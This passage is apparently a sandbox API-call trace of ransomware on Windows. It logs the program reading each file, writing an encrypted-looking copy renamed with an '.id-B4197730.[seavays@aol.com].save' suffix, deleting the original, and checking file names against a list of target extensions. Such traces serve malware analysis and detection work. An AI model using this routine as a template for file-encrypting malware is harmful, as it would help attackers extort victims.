-1 [0053.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.384] lstrlenW (lpString=".jpg") returned 4 [0053.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.385] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0053.385] lstrlenW (lpString="eula.rtf") returned 8 [0053.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0053.385] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3069) returned 1 [0053.385] CloseHandle (hObject=0x304) returned 1 [0053.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0053.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0053.385] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.385] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.386] GetLastError () returned 0x0 [0053.386] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0053.389] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xc00, lpOverlapped=0x0) returned 1 [0053.390] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.390] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0053.391] SetEndOfFile (hFile=0x308) returned 1 [0053.391] CloseHandle (hObject=0x308) returned 1 [0053.391] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.392] SetEndOfFile (hFile=0x304) returned 1 [0053.392] CloseHandle (hObject=0x304) returned 1 [0053.392] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.393] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0053.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.393] lstrlenW (lpString=".doc") returned 4 [0053.393] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.393] lstrlenW (lpString=".docx") returned 5 [0053.393] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.393] lstrlenW (lpString=".pdf") returned 4 [0053.393] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.393] lstrlenW (lpString=".xls") returned 4 [0053.393] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.393] lstrlenW (lpString=".xlsx") returned 5 [0053.393] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.393] lstrlenW (lpString=".ppt") returned 4 [0053.393] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.393] lstrlenW (lpString=".zip") returned 4 [0053.393] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.393] lstrlenW (lpString=".rar") returned 4 [0053.393] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.393] lstrlenW (lpString=".bz2") returned 4 [0053.394] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.394] lstrlenW (lpString=".7z") returned 3 [0053.394] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.394] lstrlenW (lpString=".dbf") returned 4 [0053.394] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.394] lstrlenW (lpString=".1cd") returned 4 [0053.394] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.394] lstrlenW (lpString=".jpg") returned 4 [0053.394] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.394] lstrlenW (lpString=".doc") returned 4 [0053.394] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.394] lstrlenW (lpString=".docx") returned 5 [0053.394] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.394] lstrlenW (lpString=".pdf") returned 4 [0053.394] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.394] lstrlenW (lpString=".xls") returned 4 [0053.394] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.394] lstrlenW (lpString=".xlsx") returned 5 [0053.394] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.394] lstrlenW (lpString=".ppt") returned 4 [0053.394] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.394] lstrlenW (lpString=".zip") returned 4 [0053.394] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.394] lstrlenW (lpString=".rar") returned 4 [0053.394] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.395] lstrlenW (lpString=".bz2") returned 4 [0053.395] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.395] lstrlenW (lpString=".7z") returned 3 [0053.395] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.395] lstrlenW (lpString=".dbf") returned 4 [0053.395] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.395] lstrlenW (lpString=".1cd") returned 4 [0053.395] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0053.395] lstrlenW (lpString=".jpg") returned 4 [0053.395] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.395] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.395] lstrlenW (lpString="LocalizedData.xml") returned 17 [0053.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0053.395] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=79996) returned 1 [0053.396] CloseHandle (hObject=0x304) returned 1 [0053.396] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0053.396] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.396] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0053.396] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.396] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.396] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.396] GetLastError () returned 0x0 [0053.396] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1387c, lpOverlapped=0x0) returned 1 [0054.240] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13880, lpOverlapped=0x0) returned 1 [0054.242] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.242] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1 [0054.243] SetEndOfFile (hFile=0x308) returned 1 [0054.243] CloseHandle (hObject=0x308) returned 1 [0054.245] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.245] SetEndOfFile (hFile=0x304) returned 1 [0054.246] CloseHandle (hObject=0x304) returned 1 [0054.246] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.246] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0054.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.247] lstrlenW (lpString=".doc") returned 4 [0054.247] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString=".docx") returned 5 [0054.247] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0054.247] lstrlenW (lpString=".pdf") returned 4 [0054.247] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString=".xls") returned 4 [0054.247] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString=".xlsx") returned 5 [0054.247] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0054.247] lstrlenW (lpString=".ppt") returned 4 [0054.247] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.247] lstrlenW (lpString=".zip") returned 4 [0054.247] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.247] lstrlenW (lpString=".rar") returned 4 [0054.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString=".bz2") returned 4 [0054.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString=".7z") returned 3 [0054.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.247] lstrlenW (lpString=".dbf") returned 4 [0054.247] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.247] lstrlenW (lpString=".1cd") returned 4 [0054.247] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.247] lstrlenW (lpString=".jpg") returned 4 [0054.247] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.248] lstrlenW (lpString=".doc") returned 4 [0054.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString=".docx") returned 5 [0054.248] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0054.248] lstrlenW (lpString=".pdf") returned 4 [0054.248] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString=".xls") returned 4 [0054.248] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString=".xlsx") returned 5 [0054.248] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0054.248] lstrlenW (lpString=".ppt") returned 4 [0054.248] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.248] lstrlenW (lpString=".zip") returned 4 [0054.248] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.248] lstrlenW (lpString=".rar") returned 4 [0054.248] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString=".bz2") returned 4 [0054.248] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString=".7z") returned 3 [0054.248] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.248] lstrlenW (lpString=".dbf") returned 4 [0054.248] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.248] lstrlenW (lpString=".1cd") returned 4 [0054.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0054.248] lstrlenW (lpString=".jpg") returned 4 [0054.249] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.249] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.249] lstrlenW (lpString="UiInfo.xml") returned 10 [0054.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0054.249] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=38898) returned 1 [0054.249] CloseHandle (hObject=0x304) returned 1 [0054.249] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0054.249] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0054.249] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.249] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.250] GetLastError () returned 0x0 [0054.250] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x97f2, lpOverlapped=0x0) returned 1 [0054.252] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x9800, lpOverlapped=0x0) returned 1 [0054.253] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.253] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe8, lpOverlapped=0x0) returned 1 [0054.253] SetEndOfFile (hFile=0x308) returned 1 [0054.253] CloseHandle (hObject=0x308) returned 1 [0054.255] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.255] SetEndOfFile (hFile=0x304) returned 1 [0054.256] CloseHandle (hObject=0x304) returned 1 [0054.256] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.256] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0054.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.257] lstrlenW (lpString=".doc") returned 4 [0054.257] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.257] lstrlenW (lpString=".docx") returned 5 [0054.257] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.257] lstrlenW (lpString=".pdf") returned 4 [0054.257] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.257] lstrlenW (lpString=".xls") returned 4 [0054.257] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.257] lstrlenW (lpString=".xlsx") returned 5 [0054.257] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.257] lstrlenW (lpString=".ppt") returned 4 [0054.257] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.257] lstrlenW (lpString=".zip") returned 4 [0054.257] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.257] lstrlenW (lpString=".rar") returned 4 [0054.257] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.257] lstrlenW (lpString=".bz2") returned 4 [0054.257] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.257] lstrlenW (lpString=".7z") returned 3 [0054.257] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.257] lstrlenW (lpString=".dbf") returned 4 [0054.257] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.258] lstrlenW (lpString=".1cd") returned 4 [0054.258] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.258] lstrlenW (lpString=".jpg") returned 4 [0054.258] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.258] lstrlenW (lpString=".doc") returned 4 [0054.258] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString=".docx") returned 5 [0054.258] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.258] lstrlenW (lpString=".pdf") returned 4 [0054.258] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString=".xls") returned 4 [0054.258] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString=".xlsx") returned 5 [0054.258] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.258] lstrlenW (lpString=".ppt") returned 4 [0054.258] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.258] lstrlenW (lpString=".zip") returned 4 [0054.258] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.258] lstrlenW (lpString=".rar") returned 4 [0054.258] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString=".bz2") returned 4 [0054.258] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.258] lstrlenW (lpString=".7z") returned 3 [0054.258] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.259] lstrlenW (lpString=".dbf") returned 4 [0054.259] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.259] lstrlenW (lpString=".1cd") returned 4 [0054.259] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0054.259] lstrlenW (lpString=".jpg") returned 4 [0054.259] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.259] lstrcmpiW (lpString1=".bmp", lpString2=".save") returned -1 [0054.259] lstrlenW (lpString="watermark.bmp") returned 13 [0054.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0054.259] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=104072) returned 1 [0054.259] CloseHandle (hObject=0x304) returned 1 [0054.259] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0054.259] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0054.260] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.260] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.260] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.260] GetLastError () returned 0x0 [0054.260] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x19688, lpOverlapped=0x0) returned 1 [0054.263] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x19690, lpOverlapped=0x0) returned 1 [0054.265] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.265] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xee, 